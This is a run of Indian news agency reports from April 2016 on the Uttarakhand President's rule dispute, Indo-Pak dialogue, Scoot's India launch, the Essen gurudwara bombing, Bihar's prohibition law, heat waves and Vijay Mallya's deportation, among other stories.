"People who have invested in LNG in India, I don't think they will let any pipes to come in. Americans are looking for the Indian market for the future and any sort of pipeline will put and end to these investments. So I don't think pipeline can be a serious project. I am sure Americans will not let this project go ahead," he said.

India has been boycotting formal talks on the project since 2007 over security concerns as the pipelines would have to pass through Pakistan.

Asked about terror from Pakistani soil targeting Iran, he said it was a challenge and the two countries were trying to cooperate to deal with the scourge.

"This is something that happens...We are trying to cooperate and talk to the Pakistanis on how we can stop this sort of difficulties on our border...We are trying to encourage Pakistanis to reciprocate these efforts to stop this sort of activities," he said.
The Centre will, on Friday, move the Supreme Court against the Uttarakhand High Courts verdict quashing the Presidents rule in the state.





Attorney General Mukul Rohatgi said he will mention the case before Chief Justice of India T S Thakur on Friday morning requesting a stay on the high court judgment that brought back Harish Rawat government and fixed April 29 for the floor test.



The High Court was wrong in quashing the Presidential notification. The Presidential notification is based on relevant material," Rohatgi said.



With the judgement coming as a set back for the central and government and the BJP, party chief Amit Shah, Union ministers Rajnath Singh and Arun Jaitley and party general secretary Kailash Vijayvargiya met to decide on the next course of action as they have a weeks time before the court-directed floor test takes place on April 29. The Modi governments top legal eagles Attorney General and Solicitor General also briefed the gathering on the legal import of the judgment and the need to challenge immediately in the apex court.



Post Uttarakhand high court verdict, the BJP held a press conference in which it expressed its dissatisfaction with the order.



Rawat banks on independents



Three independents, two BSP MLAs and the lone Uttarakhand Kranti Dal member hold the key to Harish Rawats continuance as the Uttarakhand chief minister.



Reinstating Rawat as the chief minister , the Uttarakhand High Court has asked him to face a floor test on April 29. The disqualificationhas come as a shot in the arm for the Congress.
A 60-year-old Congress worker was today shot dead allegedly by three assailants when he was out on a morning walk here, police said.



Police suspect that the victim, Ashok, could have been killed over some land dispute. "He is a Congress worker. At one time, he used to be head of Railway Road Market Association here and probably also had a jewellery outlet there. He was attacked by three assailants when he was on a morning walk in a park," Rohtak SSP Shashank Anand told PTI.



The SSP said that Ashok was rushed to PGIMS at Rohtak, where he was declared dead on arrival.



Asked what could be the motive behind the killing, he said, "We have got some information that he had some land dispute with his brother. There is also information that he had a land dispute with another party. We are trying to develop these pieces of information as we investigate the case".



He said that a case under relevant provisions of the law has been registered in connection with the incident.




Singapore-based carrier Scoot today announced its entry into the Indian market with flight services to Chennai and Amritsar from next month, making it the fourth airline from the island city-state to establish its presence in the world's fastest growing aviation market.



The long-haul, low-cost, wholly-owned subsidiary of Singapore Airlines would also operate to Jaipur in the later part of the year, its country head Bharati Mahadevan said.



"We are going to start flights from May 24 into India. Chennai and Amritsar are both going to be launched the same day. Services to Jaipur will be launched from October 2, " Mahadevan told PTI.



"We are a very young airline, just four years old, but have always been interested in the Indian market. Last year, when aircraft deliveries started coming in, we have been eying Indian market. We started the ground work early last year to commence operations here," he said.



While Chennai will be a daily service, flights to Amritsar and Jaipur will operate three times a week to began with, Mahadevan said, adding that Soot's India operations will be carried out with Boeing 787 Dreamliner in two class configuration -- economy and premium economy.



CEO Campbell Wilson said, "Scoot is excited to bring our proposition of value travel and service to guests in India  who will soon be able to fly to amazing destinations in our network through the Singapore hub."



"Our launch in Chennai will complement the SIA Group's existing services, while Scoot's new services to Amritsar and Jaipur will bring travellers to the magnificent Golden Temple and the stunning Pink City, enabling guests in Scoot's network to discover India's mystique and allure," he added.



While Chennai and Jaipur will have 335-seater 787-800 aircraft, services to Amritsar will be operated with a 375-seater 787-900, Mahadevan said.



The airline plans to scale up services to Amritsar and Jaipur to four times a week from July 1 and October 28 respectively, he said adding, "we hope to double our operations by 2017 in terms of number of cities."



Scoot, which has a large part of its operations to Australia and China besides other regions and countries, has also announced special promotional all-inclusive economy class fares for its flights from India, starting as low as USD 64 (Rs 4,250 approx) and USD 179 (Rs 11,900 approx) for ScootBiz to various international destinations.



Besides parent Singapore Airlines, two of its subsidiaries Tiger Air and Silk Air also operate to India at present. SIA also holds 49 per cent stake in Indian full service carrier Vistara, in which Tata Sons is a majority stake holder with 51 per cent.



Once Scoot commences operations to the three cities here, Singapore Airlines group will become the largest international airline group operating into India in terms of destinations (16), Mahadevan said.



"It will also make the group the second largest airline operating out of India in terms of destinations," he added.



"With these destinations, India will be number two market for SIA group in terms of number of destinations after China. And for Scoot, third market after China and Australia," Mahadevan said.



Interestingly, domestic airlines' body Federation of Indian Airlines which has Jet Airways, SpiceJet, IndiGo and GoAir as its members, is urging the government not to allow creation of overseas hubs by foreign carriers.
The Centre today moved the Supreme Court challenging the Uttarakhand High Court verdict quashing imposition of President's rule in the state.



Attorney General (AG) Mukul Rohatgi mentioned the appeal before a bench comprising Justices Dipak Misra and Shiva Kirti Singh, which asked him to approach the Registry for listing it for hearing today itself.



The bench said that the Registry will seek permission from Chief Justice of India (CJI) T S Thakur for listing of the appeal before an appropriate bench.



At the outset, the AG said that the Special Leave Petition (SLP) has been filed today morning but "we don't have the copy of the judgement" as it was not declared and only a speaking order was passed.



A bench headed by Justice Misra was sitting in the CJI's court as the CJI was at a scheduled conference of High Court Chief Justices and judges in the national capital.



Justice Misra said in view of the non-availability of the CJI, some arrangement has to be done for its listing.



The AG said there was a need for an urgent hearing in view of the apparent problem likely to occur between today and Monday.



"I want to press for the stay today itself," Rohatgi said. A petition was also filed by nine Congress rebel MLAs who were disqualified by the Speaker and they have challenged the HC verdict keeping them away from participating in the floor test scheduled for April 29.



The AG, who was flanked by Additional Solicitors General (ASG) Maninder Singh and Tushar Mehta and senior advocate Harish Salve who had appeared for Uttarakhand in the HC, said an SLP has been filed today morning challenging the verdict of the HC pronounced yesterday by which President's proclamation under Article 356 has been quashed.



Senior advocates Kapil Sibal, Abhishek Manu Singhvi and Vivek Tankha were present on behalf of the Congress party.



Coming down heavily on the Centre for the March 27 proclamation under Art 356, the High Court had yesterday quashed the imposition of President's rule in Uttarakhand and restored the dismissed Congress government while castigating the Centre for uprooting a democratically-elected government.



The HC had said the imposition of President's rule was contrary to the law laid down by the Supreme Court.



Directing revival of the Harish Rawat government, which was dismissed by the Centre on March 27, the High Court had ordered that he should seek a vote of confidence in the Assembly on April 29.


Gender rights activist Trupti Desai today visited the Trimbakeshwar temple and offered prayers inside the sanctum sanctorum of the popular Lord Shiva shrine here which houses one of the 12 'jyotirlingas'.



Desai, along with three of her colleagues took darshan of the 'shivlinga' in the 'garbha gruha' around 6 AM and left after nearly 15 minutes, said H P Kolhe, in charge of Trimbakeshwar police station.



The Bhumata Ranragini Brigade chief along with her aides followed the dress code, wet cotton or silk sarees, as decided by Trimbakeshwar Devasthan Trust and stood in the queue with other devotees before entering the core worship area, he said.



Later, they left the temple town in a vehicle. Interacting with newspersons outside the temple after the 'darshan', Desai said their struggle for gaining entry into Shani Shingnapur in Ahmednagar and now at Trimbakeshwar temple has succeeded.



Desai vowed to take forward the struggle for entry of women into worship places across the country.



Yesterday, four activists, led by Vanita Gutte of Pune-based Swarajya Mahila Sanghatana, offered prayers inside the sacred sanctum amid police protection.



Recently, the Trimbakeshwar Devasthan Trust decided to allow women into the temple's 'garbha griha' for an hour everyday with a rider that they must wear wet cotton or silk clothes while offering prayers in the core area.



The development is significant as it came days after women were permitted entry to the Shani Shingnapur temple in Ahmednagar district of Maharashtra.



The issue of gender bias hogged national limelight in January when hundreds of women activists attempted to storm into the Shani Shingnapur temple. After months of protests, and the Bombay High Court observing that entering a temple was a fundamental right of every person, the Shingnapur temple trust finally decided to allow women's entry on to the sacred platform (chauthara)--on which rock idol of Lord Shani is placed-- on April 8. The decision opened doors for women to contest similar bans at other temples.


An explosion at a gurudwara in Germany's Essen city was a "terror attack" carried out by radical Islamists, authorities have said for the first time, terming it as an "entirely new" strike targeting the Sikhs.



After the interrogation of two detained teenagers, the investigators hold the view that the blast was a "religious motivated terror of the Islamist scene", Essen's police commissioner Frank Richter said yesterday.



The blast ripped through the entrance hall of the gurudwara on Saturday evening during a wedding ceremony and severely damaged part of the building besides shattering windowpanes and injuring three persons, including the priest.



The interior minister of the state of North Rhine Westphalia Ralf Jaeger spoke of an "Islamic background" to the blast and called for a thorough investigation to establish to what extent the two youths were radicalised by jihadists.



It also must be investigated who are the other persons with whom the two terror suspects had contacts, he said.



Jaeger said it was "entirely new" that the Sikh community in this country has become the target of a terror attack.



The two terror suspects' affiliation to a particular group cannot be established at the present stage of the investigation, Richter told a news conference in Essen.



German TV network ARD yesterday reported that one of the two men arrested, identified by police as Yusuf T, is an Islamic State (IS) sympathiser and investigators treat him as the main suspect in the attack.



He is known to the authorities as an activist in the Islamist scene in the Ruhr region of NRW. He also has close links to "Lohberger-Brigade", an alliance of radical Islamists in the town of Dinslaken, the report said.



Photos and video sequences of CCTV footage showing the two men released by police on Wednesday helped the authorities to apprehend them, Richter said.



They are believed to have planted an explosive device hidden in a backpack in the entrance hall of the gurudwara. It went off at the end of the marriage ceremony.



Around 70 police officials are working round-the-clock to investigate the entire background of the attack and to evaluate large amount of evidences collected.



More arrests in this connection cannot be ruled out, Richter said. He assured the Sikh community that they can feel secure in the city and the authorities would do everything to protect them.


In a veiled jibe at JD(U) chief Nitish Kumar who had pitched for a largest possible unity among secular parties against BJP, Union Minister M Venkaiah Naidu today said the efforts by Opposition for a realignment are based on their "disinformation campaign" against the Centre and claimed that such front won't "succeed".





Addressing party workers here, Naidu said the opposition is trying to form the realignment in order to bring a bad repute to Modi government.



He termed the "attack" on government by various parties after the death of Hyderabad Central University research scholar Rohit Vemula as "one single classic example of the disinformation campaign by these forces".



"Now the opposition is continuing their disinformation campaign and they are trying to form realignment. Three Cs- the casteist, communal and corrupt forces they want to come together and they want to form a front. Earlier, also they formed such fronts.



"They formed national front which become a notional front. They became a united front which became a divided front. They became a third front and that too has disappeared," the Parliamentary Affairs Minister said at a function during which K Laxman assumed charge as Telangana state unit president of BJP.



"This is nothing new and they are not going to succeed in this as the country is solidly behind Prime Minister Narendra Modi," he said.



Stressing that the BJP is against the fundamentalist forces, the saffron leader said, "Opposing to MIM does not mean opposing Muslims. Opposing Muslim League does not mean opposing Muslims. It is very clear. But, they (opposition) are trying to mislead the people and they are carrying on the misinformation campaign".



Coming out in defence of his colleague and Union Minister Bandaru Dattatreya in view of the Vemula suicide, Naidu said, "You have seen what happened in Hyderabad Central University. Such a person who is committed to the weaker sections and who has spent his entire life for the cause of the poor people, Bandaru Dattatreya his name has been dragged. They are trying to defame him as if he has done a crime".



"He forwarded a letter to (HRD ministry)...Congress MPs also forwarded letters and made much more serious charges in the letters. He did not mention about that particular boy (Rohit Vemula in the letter)," Naidu said.



Dattatreya had said that he had merely forwarded a letter he had received through a BJP vice-president about certain activities prevailing in the university.



"Why beeline to Hyderabad now? They never came to Hyderabad when 10 students committed suicide before the unfortunate death of Rohit. Rahul Gandhi never came. He was silent because his mother (Sonia Gandhi) was ruling and now they are trying to be violent because Modi is ruling," Naidu said.



He said the country has to be "vigilant" as the three Cs of "casteist, communal and corrupt" are trying to come together and they want to form a front to bring the Modi government to "bad repute".



He said there is a tremendous scope for BJP in Telangana.



"There is a political vacuum in the non-government side. So, we have to work hard to fill that vacuum to become a force to reckon with. Political conditions and social conditions are favourable to us and we have a basic infrastructure in Telangana and we have good leadership also," Naidu said while appealing to the BJP workers to take advantage of the same and try to reach to all sections of the society.
India today said it will take a decision at "appropriate time" regarding a visit by an NIA team to Pakistan in connection with Pathankot terror strike even as it asserted that Indo-Pak dialogue has not been suspended.





India has also asked Pakistan to take all necessary steps for ensuring safety, security and well being of all Indians in Pakistani custody especially in light of the mysterious death of Indian prisoner Kripal Singh in a jail there.



Asked about Pakistan Prime Minister's Adviser Sartaj Aziz's remarks that they may consider allowing a visit by the NIA team if India would make a formal request, External Affairs Ministry Spokesperson Vikas Swarup said, "The (Pakistan) JIT visit was held in a constructive and cooperative environment to investigate the Pathankot Air Base attack.



"We welcome cooperation to combat all forms of terrorism... The investigations are ongoing. We will consider the next step at appropriate time."



On the status of Indo-Pak dialogue, Swarup said, "Multiple conversations have been held between India and Pakistan at multiple levels including at the level of the two Prime Ministers who spoke to each other quite recently.



"Obviously, after the Pathankot terror attack, the focus of the conversations was on the investigation of that particular attack. However, other aspects of the relationships have also been discussed. I have made statements and so has my Pakistani counterpart. So this should give you clarity that the dialogue process has not been suspended."



Earlier this month, Pakistan High Commissioner Abdul Basit during an interaction with media here had said, "I think at present the peace process between India and Pakistan is suspended."



Asked about safety and security of Indian prisoners in Pakistani jails and whether the issue has been raised with Pakistan in view of Kirpal's death, Swarup said, "Yes.



"Through our High Commission in Pakistan, we have asked the government of Pakistan to take all necessary steps for ensuring safety, security and well being of all Indians in Pakistani custody. And, naturally this has been reiterated in light of what has happened with Kripal Singh."
The film wing of the Raj Thackeray- led Maharashtra Navnirman Sena today halted the shoot of actor John Abraham-starrer "Force 2" alleging that foreign artists were working on the film set without valid documents.





A team of Maharashtra Navnirman Chitrapat Karmachari Sena (MNCKS) visited the set in suburban Kandivali along with police officials.



"We reported to the police that nearly 30 foreigners were shooting today on the film set. We wanted police to verify if they were working on a tourist visa or had proper work permit," Shalini Thackeray, working president of MNCKS told PTI.



The activists lodged a complaint with the local police station as well as the CID following which police visited the film set and did a verification, she said.



"Our people were also there. It was found out that some of them (artists) were on tourist visa while others had work permit. So they (who did not have permit) were taken out," Thackeray said.



Directed by Abhinay Deo, the action-thriller, the sequel to the 2011 film "Force", stars John and Sonakshi Sinha in the lead.



Thackeray said they asked the police to run a verification as it is a matter of security.



"Police should do a verification of these people as more than anything else this is a matter of national security. The shoot will resume from tomorrow," she said.



Thackeray said she will talk to Police Commissioner "to find out a way to make this into a system."
Headed by former CAG Vinod Rai, the newly-constituted Bank Board Bureau (BBB) will soon start the process of selection of managing directors for public sector banks, a task handed out to it by the government for fair and transparent selection of top level banking positions.





The immediate priority of the Bureau will be to fill the existing and upcoming top positions in the public sector banks, Rai told reporters after the second meeting of BBB here.



The Bureau, which is looking at a host of issues, including consolidation, stressed assets and capital infusion, among others, is expected to meet for the third time in New Delhi either on May 16 or 17.



The tentative dates for meeting is the third Monday or Tuesday of next month. The meetings are taking place in quick succession as many decisions are at preliminary stages, an official said after the meeting.



Besides helping the government select the heads of public sector banks, the BBB is also tasked with helping the lenders in the capital raising plans.



But the BBBs top priority is to streamline the selection process in the PSBs, the official said.



Fridays meeting was attended by ICICI Banks former joint MD H N Sinor, Bank of Barodas former CMD Anil K Khandelwal and rating agency Crisils ex-chief Rupa Kudwa. Its ex-officio members  Ameising Luikham, Secretary Department of Public Enterprises, and Financial Services Secretary Anjuly Chib Duggal also attended the meeting.



The first meeting of BBB was held on April 8 in Mumbai. It was attended by Minister of State for Finance Jayant Sinha and RBI Governor Raghuram Rajan, among others.




Customers lining up to buy Bharat State (BS) VI compliant cars from Mahindra and Mahindra (M&M) may have to shell out significantly more. According to the management, the incremental costs could be around Rs 1,50,000.





Management expects per vehicle cost increase by around Rs 90,000-1,50,000 for the end customer after the incidence of all taxes. As per the management, meeting the timelines is the biggest challenge to meet these 2020 requirements, brokerage firm Emkay said in a note recently after meeting the management.



The proposed BS VI emission norms are very stringent for diesel vehicles and the company would need to undertake a capex of Rs 500 crore (over the next 4 years) to comply with the new norms and a higher capex outlay would be required from the vendors, Emkay added.



The government had recently announced that it would be enforcing BS VI norms by 2020. The emission norm that are currently in force is BS IV. Auto companies have been stating that they are taking all steps to comply with the new norms. Apart from auto companies, oil companies will also have to ensure availability of BS VI compliant fuel.



The management also stated that it is looking at petrol engines for many of the diesel models including XUV500 and Scorpio.



To address regulatory challenges witnessed for diesel vehicles, the company has already introduced a 1.9 litre diesel engine for XUV500/ Scorpio; petrol engines on both these models will be introduced within a year and will also be gradually be rolled out to other diesel models, Emkay said.



M&M will have a total of four petrol engines  1.2 litre, 1.5 litre, 1.6 litre and 2.2 litre, Emkay said, adding that the management reiterated a negative impact of around 100 basis points on its operating profit margin due to expiration of fiscal benefits at Haridwar plant.




The Supreme Courts stay on the Uttarakhand High Courts order striking down the imposition of the Presidents rule in the state has added uncertainty to the political situation in the state. The high court order had reinstated Harish Rawat as chief minister, but the state is again under the Presidents rule now. The stay will hold till next Wednesday when the court will hear the matter again. Apparently, the stay has been granted not after reviewing the substantive issues mentioned in the high court order but because of the non-availability of a written copy of the courts order. As a matter of caution, the Supreme Court has also barred the Central government from revoking the Presidents rule and installing another government in the state. The Centre had deviously installed a government of its liking in Arunachal Pradesh after dismissing the Congress government there some weeks ago. The high court had told the Centre not to resort to similar action during the course its hearing of the case.



The high courts order was a major setback for the Modi government. On every substantive issue raised in the case, like the status of the Rawat government, the disqualification of 9 Congress rebel MLAs and the holding of a trial of strength in the state Assembly, the court went against the Central governments views and positions. More important than the governments humiliation on these issues was the affirmation of the ideas of constitutional correctness and propriety by the court. The judgment had again reminded the nation that the courts remain the last resort in the defence and protection of the Constitution. The Centre had committed a major mistake by dismissing the state government a day before it was to test its strength on the floor of the House, and the court had sought to correct it.



The landmark Bommai case judgment is clear on the use of Article 356 and on how a governments majority is to be decided. Yet, governments have tried to circumvent it through various strategems. There is another opportunity now to look at a Central government decision in the light of that judgment. The high court had said that the governments action was contrary to the law and amounted to cutting at the root of democracy. It also did well to reiterate the principle that the President had no absolute powers and the exercise of Presidential power was open to judicial review. The Supreme Court will hopefully uphold the best constitutional norms and put an end to the political uncertainty in the state at the earliest.




The proposed Road Bill should leave taxation to the states and focus on safety issues like drunken driving and minors behind the wheels, state transport department officials have suggested.





The officials met under the chairmanship of Union Road Transport Secretary Sanjay Mitra to prepare the agenda for the April 29 ministerial meeting headed by Rajasthan Transport minister Yunus Khan.



Following complaints from states that the proposed Road Bill is encroaching on their financial rights, the reason for its stalling, Transport Minister Nitin Gadkari set up a ministerial panel to discuss the contentious aspects.



"All states are on board as far as issues like preventing minors from driving vehicles, curbing drunken driving and simplifying forms to transfer vehicles, an official said, adding that taxation remained a pain point among the states and the meeting had agreed to focus on safety.


A day after Maoists threatened to blow up Gaya airport and kill its director, CPI (Maoist) has now threatened to carry out a similar attack on Patna and Gaya railway stations.





A letter in this regard was issued by the Jharkhand unit of CPI (Maoist) and sent to Gaya station manager B N Prasad through registered post on Thursday. Threatening to blow up railway stations with dynamite, the letter has been signed by two Maoist leaders Ravindra Kumar and Anjani Kumar alias Mantu of Giridih (Jharkhand).



A case has been registered by the Gaya police on the basis of the statement by the railway station manager.



Incidentally, the threatening letter sent by Maoists to Gaya airport director Dilip Kumar a day earlier, was also written by the same rebel duo, besides having signature of a third person, Anil Kumar.



Following the threat, the City SP of Gaya, Avkash Kumar held a security meeting with the top CISF, CRPF and Intelligence Bureau officials. The top cops have advised the Gaya airport director and his family members to remain confined to the airport campus and move out of the premises only with adequate security.



Similarly, security arrangements were beefed up at Patna and Gaya railway stations.

Meanwhile, the Government Railway Police and the Railway Protection Force personnel carried out random checking of luggage in passenger as well as goods trains for explosive materials.
Bihar Excise and Prohibition Minister Abdul Jalil Mastan has warned that the government had the power to confiscate and auction those houses from where liquor bottles were being seized.





The deterrent comes in response to the numerous reports pouring in about liquor being seized from various houses across the state.



Notwithstanding the quantity of liquor found, the amended law under the Bihar Excise (Amendment) Act says that the authorities have the power to seal any house/premises if liquor is found from there, said the Excise Minister.



The ministers assertion comes close on the heels of reports coming from Gaya where a cop, who was deputed to prevent smuggling of liquor, was found to have kept 310 bottles of liquor at his home. Though the cop has been arrested and departmental proceedings begun, the fresh threat from the Minister has set alarm bell ringing for those who were secretly consuming liquor within their premises.



Bihar, which imposed complete prohibition from April this year, has also passed a new Excise Act, under which (Section 68 G) if any excise officer or a police official, not below the rank of a sub-inspector, finds any offence committed under the new Act, the official may seal the premises. He may then send a report to his superior or district magistrate to confiscate the property/building/house where the offence was committed.



Those who loved to have their drinks quietly within the confines of their homes are peeved over such draconian law as they feel this law could be misused to frame anyone.




Projecting Coimbatores inclusion in the smart city project, the Bhratiya Janata Party (BJP) is going all guns blazed to woo the citys voters, hoping its effort would be bolstered by Prime Minister Narendra Modis visit here.





The BJP nominees, including its star candidate Vanathi Srinivasan who began her campaign much ahead of other political parties, are releasing constituency-wise manifestoes to impress voters in the textile city, dubbed South Indias Manchester.



With more than 34 lakh voters, the city has 30,000 tiny, small and large industries and boasts of an entrepreneurial verve.



"I am going to give a separate manifesto for the constituency. We are gathering the issues faced by the people", Vanathi, also BJP state unit vice president, told Deccan Herald.



First-time voters



Vanathi is creating awareness, especially among the young first-time voters, that Coimbatores civic issues will be solved under the smart city project initiated by the Modi-led BJP government at the Centre.



The Prime Minister is planning a visit here (ahead of the polls). It is going to be a morale booster for us, she said.



Despite the saffron party appearing strong in many constituencies here, the All India Anna Dravida Munnetra Kazhagam (AIADMK) is determined to give a tough fight.



It fielded Deputy Speaker of the Assembly Pollachi Jayaraman in Pollachi constituency, while also fielding law minister S P Velumani in Thondamuthur.



Ammas welfare schemes reached all sections of the people. Therefore, our party rule will continue, Velumani said.



Attractive destination



In recent times, Coimbatore the third biggest city in Tamil Nadu nestled in the foothills of the Nilgiris -- has emerged as an attractive destination for start-ups and is in the race with Chennai and bengaluru in luring IT outsourcing business.



In the recently held Global Investors Summit, hundreds of companies expressed interest to set up their base in the city.



With a formidable reputation for mechanical and electronic appliances manufacturing, the city supplied the freebees announced by the Jayalalithaa regime for the past four years such as mixer grinders and fans.



Money seizure in TN crosses Rs 30 cr



With just three weeks left for Assembly polls, the total seizure of unaccounted money by the Election Commission in Tamil Nadu has crossed Rs 30 crore, DHNS reports from Chennai.



The commission has also seized gift articles, including jewellery, worth several lakhs. It has taken action against 2.85 lakh poll violators across the state since the implementation of the Model Code of Conduct. On Thursday alone, we seized more than Rs 54.24 lakh unaccounted money from various places, Chief Electoral officer Rajesh Lakhoni said.



According to the EC, of the total 2.94 lakh complaints related to violation of MCC received, action was taken in 2.85 lakh cases. The EC said cameras have been installed at nearly 38,000 places in the state to check code violations.






A request for reinstatement by Delhi University professor G N Saibaba has resulted in a confrontation between a section of students and university teachers.

Saibaba is out on bail in a case of suspected Maoist links.





While the Delhi University Teachers Association (DUTA) is supporting the 90% disabled professor on the issue of reinstatement, a group of students led by members of ABVP is opposing it claiming the move will have a bad influence on students.



An English professor at Ram Lal Anand College, Saibaba was suspended from DU following his arrest by the Maharashtra Police in 2014 for Maoist links. He was lodged in Nagpur Central Jail for 14 months and granted bail in July 2015 after the court noticed his deteriorating health condition.



However, the bail was cancelled and he was re-arrested in December.

The Supreme Court had earlier this month granted him bail saying Maharashtra government has been extremely unfair to him.



I have requested the college to reinstate my services so I can get back to leading a normal life. I have been informed that a committee has been formed by the college to look into the issue, Saibaba said.
As 30 out of 36 meteorological subdivisions received either zero or very little rainfall in the last one week, weather scientists have now kept their fingers crossed on having pre-monsoon showers.





It is unusual. In April we should have thunderstorms and pre-monsoon showers in the South and North East. But there is none this time. The air is devoid of moisture, M Rajeevan, secretary in the Ministry of Earth Sciences told DH.



As many as 12 meteorological subdivisions in central, southern and western India as well as the Andaman and Lakshadweep islands received no rain in the last one week.



The rainfall received in most other subdivisions fall in the scanty category (-60 to -99%), whereas in coastal Karnataka, showers are in the deficient (-59%) category. The only sub-division that received excess precipitation is Assam and Meghalaya. Five other sub-divisions in the East and North East besides Jammu and Kashmir and Himachal Pradesh received normal rainfall.



A comparison with last year's data showed 23 out of 36 sub-divisions had either normal or excess rainfall this time of the year. Three sub-divisions experienced zero rainfall.



This anomaly could be due to the El Nino effect, but we need better analysis. Pre-monsoon showers take place because of a combination of atmospheric circulation and the presence of moisture in the air. The second factor is missing, said Rajeevan.



With skies drying up, the water tables have gone down sharply. The water storage available in 91 major reservoirs is just about 22% of their capacity. The southern region is the worst affected where the water level in 31 reservoirs is just 14% of the live storage capacity.



The weather office, on Friday, issued heat wave warning for Telangana, Rayalaseema, Jharkhand and Odisha whereas people in other parts of central and western India have been advised to be on alert for heat wave-like conditions.



The heat waves over India are projected to be more intense and occur more frequently in future. Climatologically heatwaves occur during March to June, with high frequency over north, north-west, central and the eastern coastal regions of India. But the dynamics are different.



Based on the observed patterns and statistical analyses of the maximum temperature variability, we identified two types of heatwaves. The first-type of heatwave over the north-central India associated with a weather phenomenon in North Atlantic. The second type of heatwave over the coastal eastern India is due to the anomalous cooling in the Pacific, said Rajeevan, who analysed the head wave pattern with colleagues from India and Japan.



Last year, about 2,200 Indians died from heat wave. The toll was higher in 2003 when more than 3,000 people perished in different parts of India.






India on Friday said its dialogue with Pakistan has not been suspended, though the focus is currently on the probe over the Pathankot airbase attacks.





Obviously, after the Pathankot terror attack, the focus of the conversations was on the investigation of that particular attack, Vikas Swarup, official spokesperson of the Ministry of External Affairs, told journalists in New Delhi.



Swarup added that other aspect of the relationship has also been discussed. I have made statements. So is my Pakistani counterpart. This should give you the clarity that the dialogue process has not been suspended, he said.



His comments came after Pakistani envoy to India Abdul Basit said on April 7 that talks with India have been suspended. New Delhi did not immediately react, but merely pointed out to the statement from the spokesperson of Pakistani Ministry of Foreign Affairs Mohammed Nafees Zakaria that foreign secretaries of both the countries would meet once modalities are finalised.



A meeting between Foreign Secretary S Jaishankar and his Pakistani counterpart AA Chaudhary on January 15 to finalise the schedule of the dialogue had to be deferred indefinitely after the Pathankot attacks which India believes was planned, funded and coordinated by the Jaish-e-Mohammed terror outfit.



The meeting, which would have marked a move towards restarting the stalled dialogue, has not yet been rescheduled.




It was a dream come true for Jesuit priest Father Gussi Frederick Sopena to become an Indian citizen after six long decades.





On Thursday evening, Mumbai Suburban Collector Shekhar Channe handed over to him the Certificate of Naturalisation, that makes the 90-year-old Spanish priest an Indian citizen.



The Catholic priest, who is popular as Baba, had applied for Indian citizenship around 38 years ago.



There is no other country like India where I have lived and worked for 67 years. And now I am very happy that my grave will be in India, that of an Indian. Bharat Mata ki jai, Father Sopena said after he got the certificate. I want to be an Indianandthats all, he had said while he formally made the demand.



He was 22, when he arrived in India after the turbulent times of World War II.

For the last over six decades, he had worked with missionaries and NGOs in Mumbai, Palghar, Thane, Nashik and Raigad.



The nonagenarian stays at Vinalaya, a home for aged Jesuits close to the Holy Family Church in Andheri.



He had met with an accident in the 1990s, leading to foot amputation and walks with a Jaipur foot. In 1947, he came to India with a noble mission to serve mankind through the Society of Jesus, a male religious congregation of the Catholic Church founded by Spanish spearhead of counter-reformation, Ignatius Loyola in 1541.




After the flagship Standup India scheme for Dalit entrepreneurs, Prime Minister Narendra Modi has chosen Uttar Pradesh yet again to launch a Rs 8,000 crore scheme to give free cooking gas connection to poor women.





The scheme will be launched on May 1 from Ballia, 140 km form Modis parliamentary constituency Varanasi.



Under the scheme, Rs 8,000 crore has been earmarked for providing 5 crore LPG connections to BPL households, Oil Minister Dharmendra Pradhan told reporters. He gave an outline of the prime ministers launch programme that seeks to provide 1.5 crore connections in the first year itself. The scheme will be implemented over the next three years.



The scheme will be called the Pradhan Mantri Ujjwala Yojana. Modi will relaunch the scheme from his home state Gujarat on May 15.



The identification of eligible BPL families will be made in consultation with the state governments and the Union Territories, Pradhan said. Money accruing from the surrendered subsidy will be used to provide new cooking gas connections to poor women free of cost.



Besides, Finance Minister Arun Jaitley has in this years Budget provided Rs 2,000 crore for free LPG connections to 1.5 crore women belonging to BPL families.



Over 1 crore people have given up their LPG gas subsidy ever since the government announced the scheme last year.




The Supreme Court stay on quashing of the Presidents rule in Uttarakhand came as a temporary breather for the BJP.





However, differences within the NDA on the issue cropped up with ally Shiv Sena taking a position articulated by the opposition. The BJP also made an accusation that ousted chief minister Harish Rawat took over the charge on Thursday in an unconstitutional way, without the permission of the Governor.



The Uttarakhand High Court had restored Rawat government through its Thursdays judgment which was stayed by the Apex Court 24 hours later.



Harish Rawat took charge of the chief ministers office on Thursday without permission of the Governor, party general secretary Kailash Vijayvargiya said.



Party spokesperson and lawyer Navin Kohli, who was part of the Centres legal team that fought the case in high court at Nainital, said, "It (Supreme Courts) is definitely an important order because it halts the piquant situation created in Uttarakhand, whereby the chief minister immediately and without an order in writing available called a Cabinet meeting and started taking decisions."



At a time when the government and the BJP was passing through trying times, the Shiv Sena, which leaves little opportunity to criticise lead coalition partner, accused the Modi government of acting out of political selfishness on toppling the Congress government.

The Centre cannot impose itself forcefully on non-BJP states, If it tries to do so, it will soon suffer consequences. The courts verdict proves that the government acted out of political selfishness, said Shiv Sena chief Uddhav Thackeray in an editorial in Senas mouthpiece Saamana.



It said that BJPs move reeked of similar high handedness showed by the Congress in the 80s and the write-up feared that the country would slip into anarchy and instability if similar attempts continued.



Cong plans to corner Modi



The Congress has drawn up strategies to corner the Modi government from the streets to Parliament over the imposition of Presidents Rule in Uttarakhand, reports DHNS from New Delhi.



Senior AICC general secretaries held a brainstorming session Friday evening on organising protest demonstrations against Modi governments attempts to murder democracy by toppling the democratically elected, popular government in Uttarakhand.


India is set to ask the United Kingdom to deport business tycoon and parliamentarian Vijay Mallya, who is being probed by the Enforcement Directorate for alleged money laundering.





The Ministry of External Affairs (MEA) is consulting legal experts, as it prepares to act on the request of the Enforcement Directorate to ask the UK to deport Mallya.



We are consulting legal experts, Vikas Swarup, official spokesperson of the MEA, said on Friday.



He said that Mallyas lawyers had responded to the notice issued by the MEA. Swarup added that the response of the business tycoon was now being examined by the ministry.



New Delhi is of the view that getting Mallya deported from the UK might not be difficult because a court had issued a warrant against the liquor baron and his passport has also been suspended.



The ED informed the ministry that a special court in Mumbai had issued a non-bailable warrant against Mallya under provisions of the Prevention of Money Laundering Act. The ED requested for initiation of the procedure for seeking his deportation from the UK.



Mallyas Kingfisher Airlines defaulted on loans of over Rs 9,400 crores.

He left the country on March 2, the day a consortium of 13 banks, which had lent him money, moved the Debt Recovery Tribunal to step up pressure on him to return the money.



The MEA has already suspended the passport issued to Mallya after being advised to do so by the ED.



Request to MEA



The ED requested the MEA to suspend the passport of Mallya, as he had refused to appear before the agency despite being summoned by it thrice between March 10 and April 2.



